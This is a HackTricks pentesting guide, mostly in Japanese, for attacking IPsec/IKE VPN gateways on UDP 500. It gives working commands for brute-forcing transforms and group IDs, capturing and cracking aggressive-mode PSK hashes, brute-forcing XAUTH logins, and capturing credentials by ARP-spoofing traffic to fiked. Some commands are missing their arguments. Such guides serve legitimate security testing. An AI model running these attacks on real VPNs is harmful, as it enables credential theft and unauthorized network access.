# 500/udp - IPsec/IKE VPNのペンテスト
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。 * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**してください。
**Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %} *** ## 基本情報 **IPsec**は、ネットワーク間(LAN間)やリモートユーザーからネットワークゲートウェイへの通信を保護するための主要な技術として広く認識されており、企業向けVPNソリューションの基盤として機能しています。 2つのポイント間での**セキュリティアソシエーション(SA)**の確立は、**IKE**によって管理され、認証と鍵交換のために設計されたプロトコルであるISAKMPの枠組みの下で動作します。このプロセスは、次のように展開されます: * **フェーズ1:** 2つのエンドポイント間に安全なチャネルが作成されます。これは、Pre-Shared Key(PSK)または証明書を使用して、3つのメッセージのペアを含むメインモードまたは**アグレッシブモード**を使用して達成されます。 * **フェーズ1.5:** このフェーズは必須ではありませんが、拡張認証フェーズとして知られ、接続しようとしているユーザーの身元を確認するためにユーザー名とパスワードを要求します。 * **フェーズ2:** このフェーズは、**ESP**と**AH**を使用してデータを保護するためのパラメータを交渉することに専念しています。フェーズ1とは異なるアルゴリズムの使用を許可し、**Perfect Forward Secrecy (PFS)**を確保してセキュリティを強化します。 **デフォルトポート:** 500/udp ## nmapを使用してサービスを**Discover** ``` root@bt:~# nmap -sU -p 500 172.16.21.200 Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST Nmap scan report for 172.16.21.200 Host is up (0.00036s latency). PORT STATE SERVICE 500/udp open isakmp MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems) ``` ## **有効な変換を見つける** IPSecの構成は、1つまたは複数の変換を受け入れるように準備することができます。変換は値の組み合わせです。**各変換**には、DESまたは3DESのような**暗号化アルゴリズム**、SHAまたはMD5のような**整合性アルゴリズム**、事前共有キーを**認証タイプ**として含み、Diffie-Hellman 1または2を鍵**配布アルゴリズム**として、28800秒を**寿命**として含みます。 その後、最初に行う必要があるのは、**有効な変換を見つける**ことです。これにより、サーバーがあなたと通信できるようになります。これを行うために、**ike-scan**ツールを使用できます。デフォルトでは、Ike-scanはメインモードで動作し、ISAKMPヘッダーと**8つの変換を含む単一の提案**を持つパケットをゲートウェイに送信します。 応答に応じて、エンドポイントに関する情報を取得できます。 ``` root@bt:~# ike-scan -M 172.16.21.200 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 172.16.21.200 Main Mode Handshake returned HDR=(CKY-R=d90bf054d6b76401) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify ``` 前の応答で見ると、**AUTH**というフィールドがあり、値が**PSK**になっています。これは、VPNが事前共有キーを使用して構成されていることを意味します(これはペンテスターにとって本当に良いことです)。 **最後の行の値も非常に重要です:** * _0 returned handshake; 0 returned notify:_ これは、ターゲットが**IPsecゲートウェイでない**ことを意味します。 * _**1 returned handshake; 0 returned notify:**_ これは、**ターゲットがIPsecに構成され、IKEネゴシエーションを実行する意向があり、提案された変換のいずれかが受け入れ可能である**ことを意味します(有効な変換は出力に表示されます)。 * _0 returned handshake; 1 returned notify:_ VPNゲートウェイは、**受け入れ可能な変換がない場合**に通知メッセージで応答します(ただし、一部のゲートウェイは応答しない場合もあり、その場合はさらなる分析と改訂提案が試されるべきです)。 したがって、この場合、すでに有効な変換がありますが、3番目の場合は、**少しブルートフォースして有効な変換を見つける必要があります:** まず、すべての可能な変換を作成する必要があります: ```bash for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done ``` そして、ike-scanを使用してそれぞれをブルートフォース攻撃します(これには数分かかる場合があります): ```bash while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line ) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt ``` もしブルートフォース攻撃がうまくいかない場合、サーバーがハンドシェイクなしで正当な変換に対して応答している可能性があります。その場合、同じブルートフォース攻撃を行うが、アグレッシブモードを使用してみることができます: ```bash while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line ) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt ``` Hopefully **有効な変換がエコーバックされます**。\ You can try the **same attack** using [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\ You could also try to brute force transformations with [**ikeforce**](https://github.com/SpiderLabs/ikeforce): ```bash ./ikeforce.py # No parameters are required for scan -h for additional help ``` ![](<../.gitbook/assets/image (617).png>) **DH Group: 14 = 2048-bit MODP** および **15 = 3072-bit**\ **2 = HMAC-SHA = SHA1 (この場合)**。`--trans` フォーマットは $Enc,$Hash,$Auth,$DH です。 シスコは、DH グループ 1 と 2 の使用を避けるように指示しています。これらは強力ではないため、**リソースが豊富な国々**は、これらの弱いグループを使用するデータの暗号化を簡単に解読できると専門家は信じています。これは、それらを素早く解読するために準備する特別な方法を使用して行われます。この方法を設定するのに多額の費用がかかりますが、これにより、これらの強力な国々が、暗号化されたデータをリアルタイムで読むことができます(1,024 ビット以下のような強力でないグループを使用している場合)。 ### サーバーのフィンガープリント 次に、ike-scan を使用して、デバイスの **ベンダーを特定**しようとすることができます。このツールは初期提案を送信し、リプレイを停止します。その後、サーバーから受信したメッセージと一致する応答パターンとの **時間差** を **分析** することで、ペンテスターは VPN ゲートウェイのベンダーを正確にフィンガープリントすることができます。さらに、一部の VPN サーバーは IKE でオプションの **Vendor ID (VID) ペイロード** を使用します。 必要に応じて有効な変換を指定します(`--trans` を使用) IKE がベンダーを特定した場合、それを表示します: ``` root@bt:~# ike-scan -M --showbackoff 172.16.21.200 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 172.16.21.200 Main Mode Handshake returned HDR=(CKY-R=4f3ec84731e2214a) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) IKE Backoff Patterns: IP Address No. Recv time Delta Time 172.16.21.200 1 1322286031.744904 0.000000 172.16.21.200 2 1322286039.745081 8.000177 172.16.21.200 3 1322286047.745989 8.000908 172.16.21.200 4 1322286055.746972 8.000983 172.16.21.200 Implementation guess: Cisco VPN Concentrator Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify ``` これはnmapスクリプト_**ike-version**_でも実現できます。 ## 正しいID(グループ名)の検索 ハッシュをキャプチャするためには、アグレッシブモードをサポートし、正しいID(グループ名)を持つ有効な変換が必要です。おそらく正しいグループ名はわからないため、総当たり攻撃する必要があります。\ そのために、2つの方法をお勧めします: ### ike-scanを使用したIDの総当たり攻撃 まず、ハッシュを収集しようとして偽のIDでリクエストを行うことを試してください("-P"): ```bash ike-scan -P -M -A -n fakeID ``` もし**ハッシュが返されない**場合、おそらくこの総当たり攻撃の方法が機能するでしょう。**何らかのハッシュが返された場合、それは偽のIDに対して偽のハッシュが返されるため、この方法はIDを総当たり攻撃するために信頼性がない**ことを意味します。例えば、偽のハッシュが返される可能性があります(これは最新バージョンで発生します): ![](<../.gitbook/assets/image (917).png>) しかし、私が言ったように、ハッシュが返されない場合は、ike-scanを使用して一般的なグループ名を総当たり攻撃する必要があります。 このスクリプトは**可能なIDを総当たりで試み、有効なハンドシェイクが返されるID(これは有効なグループ名になります)を返します**。 特定の変換を発見した場合は、ike-scanコマンドに追加してください。複数の変換を発見した場合は、すべてを試す新しいループを追加してください(正常に機能するものが見つかるまですべてを試す必要があります)。 [ikeforceの辞書](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic)または[seclistsの辞書](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)を使用して、一般的なグループ名を総当たり攻撃することができます。 ```bash while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line ) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt ``` ### IDのBruteforce with Iker [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)は**ike-scan**を使用して、可能なグループ名をBruteforceします。**ike-scan**の出力に基づいて、有効なIDを見つけるために独自の方法に従います。 ### IDのBruteforce with ikeforce [**ikeforce.py**](https://github.com/SpiderLabs/ikeforce)は、**IDをBruteforceするために使用できるツール**です。このツールは、**有効なIDと無効なIDを区別するために使用できるさまざまな脆弱性を悪用しようとします**(偽陽性と偽陰性が発生する可能性があるため、可能な限りike-scanメソッドを使用することをお勧めします)。 デフォルトでは、**ikeforce**は最初にいくつかのランダムなIDを送信して、サーバーの動作をチェックし、使用するタクティクを決定します。 * **最初の方法**は、Ciscoシステムの情報**Dead Peer Detection DPD**を**検索**して、グループ名をBruteforceすることです(この情報は、グループ名が正しい場合にのみサーバーによって再生されます)。 * 利用可能な**2番目の方法**は、**各試行に送信された応答の数を確認する**ことです。なぜなら、正しいIDが使用されるときには、より多くのパケットが送信されることがあるからです。 * **3番目の方法**は、不正なIDに対する応答で**"INVALID-ID-INFORMATION"を検索**することです。 * 最後に、サーバーがチェックに対して何も応答しない場合、**ikeforce**はサーバーをBruteforceし、正しいIDが送信されるとサーバーがいくつかのパケットで応答するかどうかを確認します。\ 明らかに、IDをBruteforceする目的は、有効なIDがわかったときに**PSK**を取得することです。その後、**ID**と**PSK**を使用して、XAUTHをBruteforceする必要があります(有効になっている場合)。 特定の変換を発見した場合は、ikeforceコマンドに追加してください。複数の変換を発見した場合は、すべてを試すための新しいループを自由に追加してください(うまく機能するまですべてを試す必要があります)。 ```bash git clone https://github.com/SpiderLabs/ikeforce.git pip install 'pyopenssl==17.2.0' #It is old and need this version of the library ``` ```bash ./ikeforce.py -e -w ./wordlists/groupnames.dic ``` ### スニッフィングID (From the book **Network Security Assessment: Know Your Network**): VPNクライアントとサーバー間の接続をスニッフィングすることで、クライアントIDを含む最初のアグレッシブモードパケットがクリアテキストで送信されるため、有効なユーザー名を取得することも可能です ![](<../.gitbook/assets/image (891).png>) ## ハッシュのキャプチャとクラック 最後に、**有効な変換**と**グループ名**が見つかり、**アグレッシブモードが許可されている**場合、破られる可能性のあるハッシュを簡単に取得できます: ```bash ike-scan -M -A -n --pskcrack=hash.txt #If aggressive mode is supported and you know the id, you can get the hash of the passwor ``` ハッシュは_hash.txt_内に保存されます。 **psk-crack**、**john**([**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)を使用)および**hashcat**を使用して、ハッシュを**クラック**することができます: ```bash psk-crack -d psk.txt ``` ## **XAuth** **アグレッシブモードIKE** は、**事前共有キー(PSK)**と組み合わせて、一般的に**グループ認証**の目的で使用されます。この方法は、**拡張認証(XAuth、Extended Authentication)** によって補完され、追加の**ユーザー認証**のレイヤーを導入します。このような認証は通常、**Microsoft Active Directory**、**RADIUS**、または類似のシステムを利用します。 **IKEv2** に移行すると、ユーザーの認証の目的で**XAuth**の代わりに**EAP(拡張認証プロトコル)**が使用される点が顕著です。この変更は、セキュアな通信プロトコル内での認証プラクティスの進化を示しています。 ### ローカルネットワークのMitMによる資格情報のキャプチャ したがって、_fiked_ を使用してログインデータをキャプチャし、デフォルトのユーザー名があるかどうかを確認できます(IKEトラフィックをスニッフィングするために `fiked` にリダイレクトする必要があります。これはARPスプーフィングを使用して行うことができます、[詳細情報](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/))。Fiked はVPNエンドポイントとして機能し、XAuthの資格情報をキャプチャします。 ```bash fiked -g -k testgroup:secretkey -l output.txt -d ``` ### IPSecを使用してMitM攻撃を試み、ポート500へのすべてのトラフィックをブロックし、IPSecトンネルを確立できない場合はトラフィックがクリアで送信されるかもしれません。 **ikeforce**を使用して**XAUTH**のユーザー名とパスワードをブルートフォース攻撃する 有効なグループ名**id**と**psk**を知っている場合、ユーザー名またはユーザー名のリストとパスワードのリストを使用できます: ```bash ./ikeforce.py -b -i -u -k -w [-s 1] ``` この方法では、ikeforce はユーザー名:パスワードの各組み合わせを使用して接続を試みます。 1つ以上の有効なトランスフォームが見つかった場合は、前の手順と同様に使用してください。 ## IPSEC VPN での認証 Kali では、IPsec トンネルを確立するために **VPNC** が利用されます。**プロファイル** は `/etc/vpnc/` ディレクトリに配置する必要があります。これらのプロファイルは _**vpnc**_ コマンドを使用して開始できます。 以下のコマンドと設定は、VPNC を使用して VPN 接続を設定するプロセスを示しています。 ```bash root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP IPSec gateway [VPN_GATEWAY_IP] IPSec ID [VPN_CONNECTION_ID] IPSec secret [VPN_GROUP_SECRET] IKE Authmode psk Xauth username [VPN_USERNAME] Xauth password [VPN_PASSWORD] STOP root@system:~# vpnc samplevpn VPNC started in background (pid: [PID])... root@system:~# ifconfig tun0 ``` ```markdown In this setup: * Replace `[VPN_GATEWAY_IP]` with the actual IP address of the VPN gateway. * Replace `[VPN_CONNECTION_ID]` with the identifier for the VPN connection. * Replace `[VPN_GROUP_SECRET]` with the VPN's group secret. * Replace `[VPN_USERNAME]` and `[VPN_PASSWORD]` with the VPN authentication credentials. * `[PID]` symbolizes the process ID that will be assigned when `vpnc` initiates. Ensure that actual, secure values are used to replace the placeholders when configuring the VPN. ## Reference Material * [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf) * [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821) * [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf) * Network Security Assessment 3rd Edition ## Shodan * `port:500 IKE` **Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %}
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
```